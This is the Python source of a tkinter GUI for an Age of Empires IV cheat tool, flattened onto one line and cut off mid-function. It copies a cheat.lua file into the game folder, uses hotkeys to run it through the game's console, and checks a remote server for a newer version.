帝国时代4修改器ui界面#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 🎮 帝国时代4修改器 v1.0 by简彦36827 Age of Empires IV Cheat Tool - Modern GUI Version 现代化GUI界面，包含： - 左侧菜单导航 - 游戏注入设置 - 快捷键管理 - 全局热键控制 - 执行日志查看 - 版本自动检测 """ import tkinter as tk from tkinter import ttk, messagebox, filedialog, simpledialog import json import os import time import threading import keyboard import pyautogui import shutil import requests import webbrowser from pathlib import Path class ModernAOECheatGUI: def __init__(self): """初始化现代化GUI界面""" # 版本信息 self.version = "1.0" self.version_url = "https://www.8cdn.cn/cln_ver.js" self.download_url = "https://oss.8cdn.cn/" # 配置文件 self.config_file = "aoe_cheat_config.json" self.config = self.load_config() # 运行状态 self.is_running = False self.hotkey_listener = None # 设置pyautogui pyautogui.PAUSE = 0.05 pyautogui.FAILSAFE = True # 创建主窗口 self.root = tk.Tk() self.setup_window() self.create_widgets() self.setup_hotkeys() # 启动时检查版本 - 延迟执行确保UI组件已创建 self.root.after(1000, lambda: threading.Thread(target=self.check_version, daemon=True).start()) def setup_window(self): """设置主窗口""" self.root.title("🎮 帝国时代4修改器 v1.0 by简彦36827") self.root.geometry("1000x750") self.root.resizable(True, True) # 设置窗口图标（如果有的话） try: self.root.iconbitmap("icon.ico") except: pass # 设置现代化主题 style = ttk.Style() # 尝试使用vista或clam主题 available_themes = style.theme_names() if 'vista' in available_themes: style.theme_use('vista') elif 'clam' in available_themes: style.theme_use('clam') else: style.theme_use('default') # 重新设计的协调配色方案 - 浅色按钮配黑色文字 self.colors = { 'bg_primary': '#93c5fd', # 浅蓝色（主色调） 'bg_secondary': '#60a5fa', # 中蓝色（辅助色） 'bg_accent': '#dbeafe', # 很浅蓝色（强调色） 'bg_light': '#f0f9ff', # 极浅蓝色（背景色） 'text_primary': '#ffffff', # 纯白（按钮文字） 'text_secondary': '#1f2937', # 深灰色（正文） 'text_dark': '#111827', # 更深的文字色（标题） 'success': '#86efac', # 浅绿色（成功） 'warning': '#fde68a', # 浅黄色（警告） 'danger': '#fca5a5', # 浅红色（危险） 'sidebar_bg': '#f8fafc', # 侧边栏背景（浅灰白） 'content_bg': '#ffffff', # 内容区背景（纯白） 'border': '#e5e7eb', # 边框（浅灰） 'hover': '#7dd3fc' # 悬停色（浅蓝） } # 配置ttk样式 - 统一的蓝色系主题 style.configure('Sidebar.TFrame', background=self.colors['sidebar_bg']) style.configure('Content.TFrame', background=self.colors['content_bg']) style.configure('Title.TLabel', background=self.colors['sidebar_bg'], foreground=self.colors['bg_primary'], font=('微软雅黑', 12, 'bold')) style.configure('Version.TLabel', background=self.colors['sidebar_bg'], foreground=self.colors['text_secondary'], font=('微软雅黑', 8)) style.configure('MenuButton.TButton', background=self.colors['bg_light'], foreground=self.colors['text_dark'], padding=(8, 10), font=('微软雅黑', 9), borderwidth=1, relief='solid') # 配置按钮样式 - 协调的蓝色系，使用黑色文字提高可读性 style.configure('Accent.TButton', background=self.colors['bg_primary'], foreground='black', padding=(12, 8), font=('微软雅黑', 9, 'bold'), borderwidth=0) style.map('Accent.TButton', background=[('active', self.colors['hover'])]) style.configure('Success.TButton', background=self.colors['success'], foreground='black', padding=(12, 10), font=('微软雅黑', 9, 'bold'), borderwidth=0) style.map('Success.TButton', background=[('active', '#65f3a0')]) style.configure('Warning.TButton', background=self.colors['warning'], foreground='black', padding=(10, 8), font=('微软雅黑', 9, 'bold'), borderwidth=0) style.map('Warning.TButton', background=[('active', '#fcd34d')]) style.configure('Danger.TButton', background=self.colors['danger'], foreground='black', padding=(10, 8), font=('微软雅黑', 9, 'bold'), borderwidth=0) style.map('Danger.TButton', background=[('active', '#f87171')]) # 配置Treeview样式 style.configure('Modern.Treeview', background='white', foreground=self.colors['text_dark'], fieldbackground='white', borderwidth=1, relief='solid') style.configure('Modern.Treeview.Heading', background=self.colors['bg_primary'], foreground='black', font=('微软雅黑', 9, 'bold')) # 配置Entry样式 style.configure('Modern.TEntry', borderwidth=1, relief='solid', fieldbackground='white', bordercolor=self.colors['border']) # 配置LabelFrame样式 style.configure('Modern.TLabelframe', background=self.colors['content_bg'], borderwidth=1, relief='solid', bordercolor=self.colors['border']) style.configure('Modern.TLabelframe.Label', background=self.colors['content_bg'], foreground=self.colors['bg_primary'], font=('微软雅黑', 10, 'bold')) def create_widgets(self): """创建界面组件""" # 主容器 main_frame = ttk.Frame(self.root) main_frame.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) # 左侧菜单区域 self.create_menu_panel(main_frame) # 右侧内容区域 self.create_content_panel(main_frame) # 默认显示注入菜单 self.show_injection_panel() def create_menu_panel(self, parent): """创建左侧菜单面板""" # 菜单容器 - 使用自定义样式，增加宽度 menu_frame = ttk.Frame(parent, width=220, style='Sidebar.TFrame') menu_frame.pack(side=tk.LEFT, fill=tk.Y, padx=(0, 1)) menu_frame.pack_propagate(False) # 标题 - 使用自定义样式 title_label = ttk.Label(menu_frame, text="🎮 帝国时代4修改器", style='Title.TLabel') title_label.pack(pady=(15, 25)) # 菜单按钮 self.menu_buttons = {} menus = [ ("💉 注入菜单", self.show_injection_panel), ("🎯 快捷键菜单", self.show_hotkey_panel), ("🔥 全局热键", self.show_global_hotkey_panel), ("📝 日志菜单", self.show_log_panel), ("🎮 启动游戏", self.launch_game_directly) ] # 菜单按钮容器 buttons_frame = ttk.Frame(menu_frame, style='Sidebar.TFrame') buttons_frame.pack(fill=tk.X, padx=10) for text, command in menus: btn = ttk.Button(buttons_frame, text=text, command=command, width=25, style='MenuButton.TButton') btn.pack(pady=3, fill=tk.X) self.menu_buttons[text] = btn # 底部版本信息区域 version_frame = ttk.Frame(menu_frame, style='Sidebar.TFrame') version_frame.pack(side=tk.BOTTOM, fill=tk.X, padx=10, pady=(0, 15)) # 分隔线 separator = ttk.Separator(version_frame, orient='horizontal') separator.pack(fill=tk.X, pady=(0, 10)) # 版本号标签 - 可点击 self.version_label = ttk.Label(version_frame, text=f"V{self.version} ", style='Version.TLabel', cursor='hand2') self.version_label.pack(anchor=tk.CENTER) # 绑定点击事件 self.version_label.bind('<Button-1>', self.on_version_click) # 版本状态标签 self.version_status_var = tk.StringVar(value="点击检查更新") self.version_status_label = ttk.Label(version_frame, textvariable=self.version_status_var, style='Version.TLabel', cursor='hand2') self.version_status_label.pack(anchor=tk.CENTER, pady=(2, 0)) # 绑定点击事件到状态标签也可以触发检测 self.version_status_label.bind('<Button-1>', self.on_version_click) def create_content_panel(self, parent): """创建右侧内容面板""" # 内容容器 - 使用自定义样式 self.content_frame = ttk.Frame(parent, style='Content.TFrame') self.content_frame.pack(side=tk.RIGHT, fill=tk.BOTH, expand=True) # 创建各个面板（默认隐藏） self.create_injection_panel() self.create_hotkey_panel() self.create_global_hotkey_panel() self.create_log_panel() def create_injection_panel(self): """创建游戏注入设置面板""" self.injection_panel = ttk.LabelFrame(self.content_frame, text="💉 游戏注入设置", padding=20, style='Modern.TLabelframe') # 游戏目录设置 dir_frame = ttk.Frame(self.injection_panel, style='Content.TFrame') dir_frame.pack(fill=tk.X, pady=(0, 25)) ttk.Label(dir_frame, text="🎮 游戏目录设置", font=('微软雅黑', 12, 'bold'), background=self.colors['content_bg'], foreground=self.colors['text_dark']).pack(anchor=tk.W, pady=(0, 10)) # 路径输入区域 path_frame = ttk.Frame(dir_frame, style='Content.TFrame') path_frame.pack(fill=tk.X, pady=(0, 12)) self.game_path_var = tk.StringVar(value=self.config.get('game_path', '')) path_entry_frame = tk.Frame(path_frame, bg=self.colors['content_bg'], relief='solid', borderwidth=1) path_entry_frame.pack(fill=tk.X, padx=(0, 8), side=tk.LEFT, expand=True) self.game_path_entry = tk.Entry(path_entry_frame, textvariable=self.game_path_var, state='readonly', font=('微软雅黑', 9), bg='white', fg=self.colors['text_secondary'], relief='flat', borderwidth=0) self.game_path_entry.pack(fill=tk.X, padx=8, pady=6) ttk.Button(path_frame, text="📁 浏览", command=self.browse_game_directory, style='Accent.TButton', width=10).pack(side=tk.RIGHT) # 自动检测按钮 detect_frame = ttk.Frame(dir_frame, style='Content.TFrame') detect_frame.pack(fill=tk.X, pady=(0, 15)) ttk.Button(detect_frame, text="🔍 自动检测游戏目录", command=self.auto_detect_game_directory, style='Warning.TButton', width=18).pack(side=tk.LEFT) # 注入状态 status_frame = ttk.Frame(self.injection_panel, style='Content.TFrame') status_frame.pack(fill=tk.X, pady=(0, 20)) ttk.Label(status_frame, text="注入状态:", font=('微软雅黑', 11, 'bold'), background=self.colors['content_bg'], foreground=self.colors['text_dark']).pack(anchor=tk.W) # 状态显示区域 - 使用背景框 status_display_frame = ttk.Frame(status_frame, style='Content.TFrame') status_display_frame.pack(fill=tk.X, pady=(8, 0)) # 创建状态显示背景 status_bg_frame = tk.Frame(status_display_frame, bg='#f8fafc', relief='solid', borderwidth=1, bd=1) status_bg_frame.pack(fill=tk.X, padx=2, pady=2) self.injection_status_var = tk.StringVar(value="🔄 检测中...") self.injection_status_label = tk.Label(status_bg_frame, textvariable=self.injection_status_var, font=('微软雅黑', 11, 'bold'), bg='#f8fafc', fg=self.colors['text_secondary'], pady=8, padx=12) self.injection_status_label.pack(anchor=tk.W) # 操作按钮 button_frame = ttk.Frame(self.injection_panel, style='Content.TFrame') button_frame.pack(fill=tk.X, pady=(0, 20)) # 所有按钮在同一行 ttk.Button(button_frame, text="💉 注入cheat.lua", command=self.inject_cheat_file, style='Success.TButton', width=18).pack(side=tk.LEFT, padx=(0, 12)) ttk.Button(button_frame, text="🗑️ 卸载注入", command=self.remove_injection, style='Danger.TButton', width=15).pack(side=tk.LEFT, padx=(0, 12)) ttk.Button(button_frame, text="🔄 刷新状态", command=self.refresh_injection_status, style='Accent.TButton', width=15).pack(side=tk.LEFT) # 注入说明 info_frame = ttk.LabelFrame(self.injection_panel, text="📖 使用说明", padding=15, style='Modern.TLabelframe') info_frame.pack(fill=tk.BOTH, expand=True, pady=(20, 0)) info_text = """1. 首先设置或自动检测游戏安装目录 2. 点击"注入cheat.lua"将作弊文件复制到游戏目录 3. 启动游戏后使用快捷键菜单中的功能 4. 游戏更新后可能需要重新注入 5. 不需要时可以点击"卸载注入"移除文件 注意：确保游戏目录路径正确，通常包含RelicCardinal.exe文件""" info_label = ttk.Label(info_frame, text=info_text, justify=tk.LEFT, wraplength=500, font=('微软雅黑', 9), background=self.colors['content_bg'], foreground=self.colors['text_secondary']) info_label.pack(anchor=tk.W) def create_hotkey_panel(self): """创建快捷键管理面板""" self.hotkey_panel = ttk.Frame(self.content_frame, style='Content.TFrame') # 控制台设置区域 console_frame = ttk.LabelFrame(self.hotkey_panel, text="🎮 控制台设置", padding=15, style='Modern.TLabelframe') console_frame.pack(fill=tk.X, pady=(0, 15)) # 间隔时间设置 interval_frame = ttk.Frame(console_frame, style='Content.TFrame') interval_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Label(interval_frame, text="执行间隔(秒):", font=('微软雅黑', 10), background=self.colors['content_bg'], foreground=self.colors['text_dark']).pack(side=tk.LEFT) self.interval_var = tk.DoubleVar(value=self.config.get('interval', 0.1)) interval_spin = ttk.Spinbox(interval_frame, from_=0.05, to=5.0, increment=0.05, textvariable=self.interval_var, width=10, font=('微软雅黑', 9)) interval_spin.pack(side=tk.LEFT, padx=(10, 0)) # 快捷键管理区域 hotkey_frame = ttk.LabelFrame(self.hotkey_panel, text="⌨️ 快捷键管理", padding=15, style='Modern.TLabelframe') hotkey_frame.pack(fill=tk.BOTH, expand=True) # 工具栏 toolbar = ttk.Frame(hotkey_frame, style='Content.TFrame') toolbar.pack(fill=tk.X, pady=(0, 10)) # 居中显示的按钮容器 center_frame = ttk.Frame(toolbar, style='Content.TFrame') center_frame.pack(expand=True) ttk.Button(center_frame, text="➕ 添加", command=self.add_hotkey, style='Accent.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(center_frame, text="✏️ 编辑", command=self.edit_hotkey, style='Accent.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(center_frame, text="🗑️ 删除", command=self.delete_hotkey, style='Danger.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(center_frame, text="💾 保存配置", command=self.save_config, style='Success.TButton').pack(side=tk.LEFT, padx=5) # 快捷键列表 list_frame = ttk.Frame(hotkey_frame, style='Content.TFrame') list_frame.pack(fill=tk.BOTH, expand=True) columns = ('name', 'hotkey', 'enabled') self.hotkey_tree = ttk.Treeview(list_frame, columns=columns, show='headings', height=12, style='Modern.Treeview') # 设置列标题和属性 self.hotkey_tree.heading('name', text='名称') self.hotkey_tree.heading('hotkey', text='快捷键') self.hotkey_tree.heading('enabled', text='启用') self.hotkey_tree.column('name', width=200, anchor=tk.CENTER) self.hotkey_tree.column('hotkey', width=150, anchor=tk.CENTER) self.hotkey_tree.column('enabled', width=100, anchor=tk.CENTER) # 滚动条 scrollbar = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=self.hotkey_tree.yview) self.hotkey_tree.configure(yscrollcommand=scrollbar.set) self.hotkey_tree.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) scrollbar.pack(side=tk.RIGHT, fill=tk.Y) # 加载快捷键 self.load_hotkeys() def create_global_hotkey_panel(self): """创建全局热键面板""" self.global_hotkey_panel = ttk.LabelFrame(self.content_frame, text="🔥 全局热键控制", padding=25, style='Modern.TLabelframe') # F1热键状态 status_frame = ttk.Frame(self.global_hotkey_panel, style='Content.TFrame') status_frame.pack(fill=tk.X, pady=(0, 25)) ttk.Label(status_frame, text="F1热键状态:", font=('微软雅黑', 13, 'bold'), background=self.colors['content_bg'], foreground=self.colors['text_dark']).pack(anchor=tk.W) self.f1_status_var = tk.StringVar(value="🟢 已启用") self.f1_status_label = ttk.Label(status_frame, textvariable=self.f1_status_var, font=('微软雅黑', 11), background=self.colors['content_bg'], foreground=self.colors['success']) self.f1_status_label.pack(anchor=tk.W, pady=(8, 0)) # 使用说明 info_frame = ttk.LabelFrame(self.global_hotkey_panel, text="📖 使用说明", padding=20, style='Modern.TLabelframe') info_frame.pack(fill=tk.BOTH, expand=True, pady=(25, 0)) info_text = """🔥 全局热键功能说明： 📌 F1 - 执行完整作弊序列 • 自动打开游戏控制台 (CTRL+SHIFT+`) • 输入作弊命令 dofile("cheat/cheat.lua") • 关闭控制台 • 执行额外快捷键（如果有设置） ⚠️ 重要提醒： • 确保游戏窗口处于激活状态 • 在游戏开始后按F1执行 • 确保已正确注入cheat.lua文件 • 可在日志菜单查看执行详情 🎯 执行顺序： 1. 检测注入状态 2. 打开控制台 3. 输入作弊命令 4. 等待命令执行 5. 关闭控制台 6. 执行自定义快捷键""" info_label = ttk.Label(info_frame, text=info_text, justify=tk.LEFT, wraplength=600, font=('微软雅黑', 9), background=self.colors['content_bg'], foreground=self.colors['text_secondary']) info_label.pack(anchor=tk.W) def create_log_panel(self): """创建日志面板""" self.log_panel = ttk.LabelFrame(self.content_frame, text="📝 执行日志", padding=15, style='Modern.TLabelframe') # 工具栏 toolbar = ttk.Frame(self.log_panel, style='Content.TFrame') toolbar.pack(fill=tk.X, pady=(0, 10)) ttk.Button(toolbar, text="🗑️ 清空日志", command=self.clear_log, style='Danger.TButton').pack(side=tk.LEFT, padx=(0, 10)) ttk.Button(toolbar, text="💾 保存日志", command=self.save_log, style='Accent.TButton').pack(side=tk.LEFT) # 日志显示区域 log_frame = ttk.Frame(self.log_panel, style='Content.TFrame') log_frame.pack(fill=tk.BOTH, expand=True) # 使用协调的蓝色系日志配色 self.log_text = tk.Text(log_frame, wrap=tk.WORD, font=('Consolas', 9), bg='#1e3a8a', fg='#dbeafe', insertbackground='#60a5fa', selectbackground='#3b82f6', selectforeground='white', relief='flat', borderwidth=0) log_scrollbar = ttk.Scrollbar(log_frame, orient=tk.VERTICAL, command=self.log_text.yview) self.log_text.configure(yscrollcommand=log_scrollbar.set) self.log_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) log_scrollbar.pack(side=tk.RIGHT, fill=tk.Y) # 初始日志 self.add_log("🎮 帝国时代4修改器启动") self.add_log("📋 F1热键已激活，可随时使用") def show_injection_panel(self): """显示注入设置面板""" self.hide_all_panels() self.injection_panel.pack(fill=tk.BOTH, expand=True) self.refresh_injection_status() def show_hotkey_panel(self): """显示快捷键设置面板""" self.hide_all_panels() self.hotkey_panel.pack(fill=tk.BOTH, expand=True) def show_global_hotkey_panel(self): """显示全局热键面板""" self.hide_all_panels() self.global_hotkey_panel.pack(fill=tk.BOTH, expand=True) def show_log_panel(self): """显示日志面板""" self.hide_all_panels() self.log_panel.pack(fill=tk.BOTH, expand=True) def hide_all_panels(self): """隐藏所有面板""" for panel in [self.injection_panel, self.hotkey_panel, self.global_hotkey_panel, self.log_panel]: panel.pack_forget() def load_config(self): """加载配置文件""" default_config = { 'game_path': '', 'interval': 0.1, 'hotkeys': [ {'name': '打开控制台', 'hotkey': 'ctrl+shift+`', 'enabled': True}, {'name': '启用/停用战争迷雾', 'hotkey': 'ctrl+f', 'enabled': True}, {'name': '所有资源加99999', 'hotkey': 'ctrl+m', 'enabled': True}, {'name': '启用/停用人口超控', 'hotkey': 'ctrl+p', 'enabled': True}, {'name': '启用/停用快速采集', 'hotkey': 'ctrl+g', 'enabled': True}, {'name': '启用/停用快速建造', 'hotkey': 'ctrl+w', 'enabled': True} ] } try: if os.path.exists(self.config_file): with open(self.config_file, 'r', encoding='utf-8') as f: config = json.load(f) # 合并默认配置 for key, value in default_config.items(): if key not in config: config[key] = value return config except Exception as e: print(f"加载配置失败: {e}") return default_config def save_config(self, show_message=True): """保存配置文件""" try: self.config['game_path'] = self.game_path_var.get() self.config['interval'] = self.interval_var.get() with open(self.config_file, 'w', encoding='utf-8') as f: json.dump(self.config, f, ensure_ascii=False, indent=2) self.add_log("💾 配置已保存") if show_message: messagebox.showinfo("成功", "配置已保存") except Exception as e: self.add_log(f"❌ 保存配置失败: {e}") if show_message: messagebox.showerror("错误", f"保存配置失败: {e}") def load_hotkeys(self): """加载快捷键到表格""" # 清空现有项目 for item in self.hotkey_tree.get_children(): self.hotkey_tree.delete(item) # 添加快捷键 for hotkey in self.config.get('hotkeys', []): enabled_text = "✅" if hotkey.get('enabled', True) else "❌" self.hotkey_tree.insert('', tk.END, values=( hotkey.get('name', ''), hotkey.get('hotkey', ''), enabled_text )) def add_hotkey(self): """添加新快捷键""" dialog = HotkeyDialog(self.root, "添加快捷键") if dialog.result: self.config['hotkeys'].append(dialog.result) self.load_hotkeys() self.add_log(f"➕ 添加快捷键: {dialog.result['name']}") def edit_hotkey(self): """编辑选中的快捷键""" selection = self.hotkey_tree.selection() if not selection: messagebox.showwarning("警告", "请先选择要编辑的快捷键") return index = self.hotkey_tree.index(selection[0]) hotkey_data = self.config['hotkeys'][index] dialog = HotkeyDialog(self.root, "编辑快捷键", hotkey_data) if dialog.result: self.config['hotkeys'][index] = dialog.result self.load_hotkeys() self.add_log(f"✏️ 编辑快捷键: {dialog.result['name']}") def delete_hotkey(self): """删除选中的快捷键""" selection = self.hotkey_tree.selection() if not selection: messagebox.showwarning("警告", "请先选择要删除的快捷键") return index = self.hotkey_tree.index(selection[0]) hotkey_name = self.config['hotkeys'][index]['name'] if messagebox.askyesno("确认", f"确定要删除快捷键 '{hotkey_name}' 吗？"): del self.config['hotkeys'][index] self.load_hotkeys() self.add_log(f"🗑️ 删除快捷键: {hotkey_name}") def browse_game_directory(self): """浏览选择游戏目录""" directory = filedialog.askdirectory(title="选择帝国时代4游戏目录") if directory: self.game_path_var.set(directory) self.add_log(f"📁 设置游戏目录: {directory}") # 自动保存配置并刷新注入状态 self.save_config(show_message=False) self.refresh_injection_status() def auto_detect_game_directory(self): """自动检测游戏目录""" self.add_log("🔍 正在自动检测游戏目录...") # 常见Steam安装路径 steam_paths = [ "C:/Program Files (x86)/Steam/steamapps/common/Age of Empires IV", "D:/Steam/steamapps/common/Age of Empires IV", "E:/Steam/steamapps/common/Age of Empires IV", "F:/Steam/steamapps/common/Age of Empires IV", # Xbox Game Pass路径 "C:/Program Files/WindowsApps/Microsoft.Phoenix_*", # Epic Games路径 "C:/Program Files/Epic Games/AgeOfEmpiresIV" ] for path in steam_paths: if "*" in path: # 处理通配符路径 import glob matches = glob.glob(path) for match in matches: if os.path.exists(os.path.join(match, "RelicCardinal.exe")): self.game_path_var.set(match) self.add_log(f"✅ 自动检测成功: {match}") # 自动保存配置并刷新注入状态 self.save_config(show_message=False) self.refresh_injection_status() return else: if os.path.exists(os.path.join(path, "RelicCardinal.exe")): self.game_path_var.set(path) self.add_log(f"✅ 自动检测成功: {path}") # 自动保存配置并刷新注入状态 self.save_config(show_message=False) self.refresh_injection_status() return self.add_log("❌ 未找到游戏目录，请手动选择") messagebox.showwarning("未找到", "未能自动检测到游戏目录，请手动选择") def refresh_injection_status(self): """刷新注入状态""" game_path = self.game_path_var.get() if not game_path: self.injection_status_var.set("🚫 未设置游戏目录") # 更新状态标签颜色为警告色 self.injection_status_label.configure(foreground='#f59e0b') return cheat_dir = os.path.join(game_path, "cheat") cheat_file = os.path.join(cheat_dir, "cheat.lua") if os.path.exists(cheat_file): self.injection_status_var.set("✅ 已注入 - 注入成功") # 更新状态标签颜色为成功色 self.injection_status_label.configure(foreground='#10b981') else: self.injection_status_var.set("❌ 未注入 - 需要先注入cheat.lua文件") # 更新状态标签颜色为错误色 self.injection_status_label.configure(foreground='#ef4444') def inject_cheat_file(self): """注入cheat.lua文件""" game_path = self.game_path_var.get() if not game_path: messagebox.showerror("错误", "请先设置游戏目录") return if not os.path.exists("cheat.lua"): messagebox.showerror("错误", "找不到cheat.lua文件") return try: cheat_dir = os.path.join(game_path, "cheat") os.makedirs(cheat_dir, exist_ok=True) cheat_file = os.path.join(cheat_dir, "cheat.lua") shutil.copy2("cheat.lua", cheat_file) self.add_log(f"✅ 注入成功: {cheat_file}") self.refresh_injection_status() # 自动保存配置以记录注入状态 self.save_config(show_message=False) messagebox.showinfo("成功", "cheat.lua文件注入成功！") except Exception as e: self.add_log(f"❌ 注入失败: {e}") messagebox.showerror("错误", f"注入失败: {e}") def remove_injection(self): """移除注入文件""" game_path = self.game_path_var.get() if not game_path: messagebox.showerror("错误", "请先设置游戏目录") return cheat_dir = os.path.join(game_path, "cheat") cheat_file = os.path.join(cheat_dir, "cheat.lua") if not os.path.exists(cheat_file): messagebox.showinfo("提示", "没有找到已注入的文件") return if messagebox.askyesno("确认", "确定要卸载注入的cheat.lua文件吗？"): try: os.remove(cheat_file) # 如果目录为空，也删除目录 if os.path.exists(cheat_dir) and not os.listdir(cheat_dir): os.rmdir(cheat_dir) self.add_log("❌ 注入已卸载") self.refresh_injection_status() # 自动保存配置以记录卸载状态 self.save_config(show_message=False) messagebox.showinfo("成功", "注入文件已成功卸载") except Exception as e: self.add_log(f"❌ 卸载失败: {e}") messagebox.showerror("错误", f"卸载失败: {e}") def setup_hotkeys(self): """设置全局热键""" try: # 设置F1热键 keyboard.add_hotkey('f1', self.on_f1_pressed) self.add_log("🔥 F1全局热键已激活") except Exception as e: self.add_log(f"❌ 热键设置失败: {e}") def on_f1_pressed(self): """F1热键处理""" if not self.is_running: self.add_log("🎯 F1按下，开始执行作弊序列...") self.is_running = True threading.Thread(target=self.execute_cheat_sequence, daemon=True).start() else: self.add_log("⚠️ 序列正在执行中，请稍等...") def execute_cheat_sequence(self): """执行完整作弊序列""" try: # 检查注入状态 game_path = self.game_path_var.get() if game_path: cheat_file = os.path.join(game_path, "cheat", "cheat.lua") if not os.path.exists(cheat_file): self.add_log("⚠️ 警告：未检测到cheat.lua注入文件") interval = self.interval_var.get() # 1. 打开控制台 self.add_log("📝 步骤1: 打开控制台...") keyboard.send('ctrl+shift+`') time.sleep(interval) if not self.is_running: return # 2. 输入作弊命令 self.add_log("📝 步骤2: 输入作弊命令...") pyautogui.hotkey('ctrl', 'a') # 清空 time.sleep(0.1) pyautogui.write('dofile("cheat/cheat.lua")') time.sleep(interval) pyautogui.press('enter') time.sleep(interval * 20) # 等待命令执行 if not self.is_running: return # 3. 关闭控制台 self.add_log("📝 步骤3: 关闭控制台...") keyboard.send('ctrl+shift+`') time.sleep(interval) # 4. 执行额外快捷键 enabled_hotkeys = [hk for hk in self.config.get('hotkeys', []) if hk.get('enabled', True) and hk.get('name') != '打开控制台'] if enabled_hotkeys: self.add_log(f"📝 步骤4: 执行{len(enabled_hotkeys)}个额外快捷键...") for hotkey in enabled_hotkeys: if not self.is_running: return name = hotkey.get('name', '') key = hotkey.get('hotkey', '') self.add_log(f" • 执行: {name} ({key})") keyboard.send(key) time.sleep(interval) self.add_log("🎉 作弊序列执行完成！") except Exception as e: self.add_log(f"❌ 执行错误: {e}") finally: self.is_running = False def check_version(self): """检查版本更新""" self.add_log("🔍 正在检查版本更新...") # 更新状态为检查中 self.root.after(0, lambda: self.version_status_var.set("检查中...")) try: self.add_log(f"📡 请求URL: {self.version_url}") response = requests.get(self.version_url, timeout=10) self.add_log(f"📡 响应状态: {response.status_code}") if response.status_code == 200: content = response.text.strip() self.add_log(f"📄 服务器响应: {content}") # 解析版本号 - 支持多种格式 import re # 尝试多种版本号格式 patterns = [ r'"(\d+\.\d+)"', # "1.1" r"'(\d+\.\d+)'", # '1.1' r'(\d+\.\d+)', # 1.1 (纯数字) r'version\s*=\s*["\']?(\d+\.\d+)["\']?', # version = "1.1" r'var\s+\w+\s*=\s*["\']?(\d+\.\d+)["\']?' # var version = "1.1" ] latest_version = None for pattern in patterns: version_match = re.search(pattern, content) if version_match: latest_version = version_match.group(1) self.add_log(f"🔍 使用模式 '{pattern}' 解析成功") break if latest_version: self.add_log(f"🔢 服务器版本: v{latest_version}") self.add_log(f"🔢 当前版本: v{self.version}") # 版本比较 - 转换为浮点数比较 try: server_ver = float(latest_version) current_ver = float(self.version) if server_ver > current_ver: self.add_log("🆕 发现新版本！") self.root.after(0, lambda: self.version_status_var.set(f"发现新版本 v{latest_version}")) self.show_update_dialog(latest_version) else: self.add_log("✅ 当前已是最新版本") self.root.after(0, lambda: self.version_status_var.set("已是最新版本")) except ValueError: self.add_log("❌ 版本号格式错误，无法比较") self.root.after(0, lambda: self.version_status_var.set("版本格式错误")) else: self.add_log("❌ 无法解析服务器版本号") self.add_log(f"❌ 尝试的模式: {patterns}") self.root.after(0, lambda: self.version_status_var.set("解析失败")) else: self.add_log(f"❌ 服务器响应错误: {response.status_code}") self.root.after(0, lambda: self.version_status_var.set("服务器错误")) except requests.exceptions.Timeout: self.add_log("⏰ 版本检查超时（10秒）") self.root.after(0, lambda: self.version_status_var.set("连接超时")) except requests.exceptions.ConnectionError: self.add_log("🌐 网络连接失败，无法检查版本") self.root.after(0, lambda: self.version_status_var.set("网络连接失败")) except requests.exceptions.RequestException as e: self.add_log(f"📡 网络请求失败: {e}") self.root.after(0, lambda: self.version_status_var.set("网络请求失败")) except Exception as e: self.add_log(f"❌ 版本检查异常: {e}") self.root.after(0, lambda: self.version_status_var.set("检查异常")) self.add_log("🔍 版本检查完成") def show_update_dialog(self, latest_version): """显示更新对话框""" def open_download(): webbrowser.open(self.download_url) self.root.quit() result = messagebox.askyesno( "发现新版本", f"发现新版本 v{latest_version}（当前版本 v{self.version}）\n\n是否前往下载页面？", icon='question' ) if result: open_download() def add_log(self, message): """添加日志""" timestamp = time.strftime("%H:%M:%S") log_entry = f"[{timestamp}] {message}\n" # 在UI线程中更新 def update_log(): self.log_text.insert(tk.END, log_entry) self.log_text.see(tk.END) if threading.current_thread() == threading.main_thread(): update_log() else: self.root.after(0, update_log) def clear_log(self): """清空日志""" self.log_text.delete(1.0, tk.END) self.add_log("🗑️ 日志已清空") def save_log(self): """保存日志""" try: log_content = self.log_text.get(1.0, tk.END) filename = filedialog.asksaveasfilename( title="保存日志", defaultextension=".txt", filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")] ) if filename: with open(filename, 'w', encoding='utf-8') as f: f.write(log_content) self.add_log(f"💾 日志已保存到: {filename}") except Exception as e: messagebox.showerror("错误", f"保存日志失败: {e}") def run(self): """运行程序""" try: self.root.mainloop() except KeyboardInterrupt: pass finally: self.cleanup() def cleanup(self): """清理资源""" self.is_running = False try: keyboard.unhook_all_hotkeys() except: pass def on_version_click(self, event): """处理版本标签点击事件""" self.version_status_var.set("检查中...") self.add_log("🖱️ 手动触发版本检查") threading.Thread(target=self.check_version, daemon=True).start() def launch_game_directly(self): """直接启动游戏""" game_path = self.game_path_var.get() if not game_path: messagebox.showerror("错误", "请先在注入菜单中设置游戏目录") self.add_log("❌ 启动失败：未设置游戏目录") # 自动跳转到注入菜单 self.show_injection_panel() return # 检查游戏文件 game_exe = os.path.join(game_path, "RelicCardinal.exe") if not os.path.exists(game_exe): # 尝试查找AoE4.exe作为备选 game_exe_alt = os.path.join(game_path, "AoE4.exe") if os.path.exists(game_exe_alt): game_exe = game_exe_alt else: # 如果找不到exe文件，直接尝试Steam启动 self.add_log("❌ 找不到游戏exe文件，尝试Steam协议启动") self.launch_with_steam() return # 询问用户启动方式 choice = messagebox.askyesnocancel("选择启动方式", "选择游戏启动方式:\n\n" "• 是(Y) - 直接启动exe文件\n" "• 否(N) - 使用Steam协议启动 (推荐)\n" "• 取消 - 不启动游戏") if choice is None: # 取消 self.add_log("🚫 用户取消启动游戏") return elif choice: # 是 - 直接启动 try: self.add_log("🎮 正在直接启动游戏exe...") import subprocess subprocess.Popen(game_exe, cwd=game_path) self.add_log(f"✅ 游戏启动成功：{os.path.basename(game_exe)}") messagebox.showinfo("成功", "游戏启动成功！\n请等待游戏加载完成后使用F1热键") except Exception as e: self.add_log(f"❌ 直接启动失败: {e}") # 直接启动失败，询问是否尝试Steam启动 if messagebox.askyesno("启动失败", f"直接启动失败: {e}\n\n是否尝试使用Steam协议启动？"): 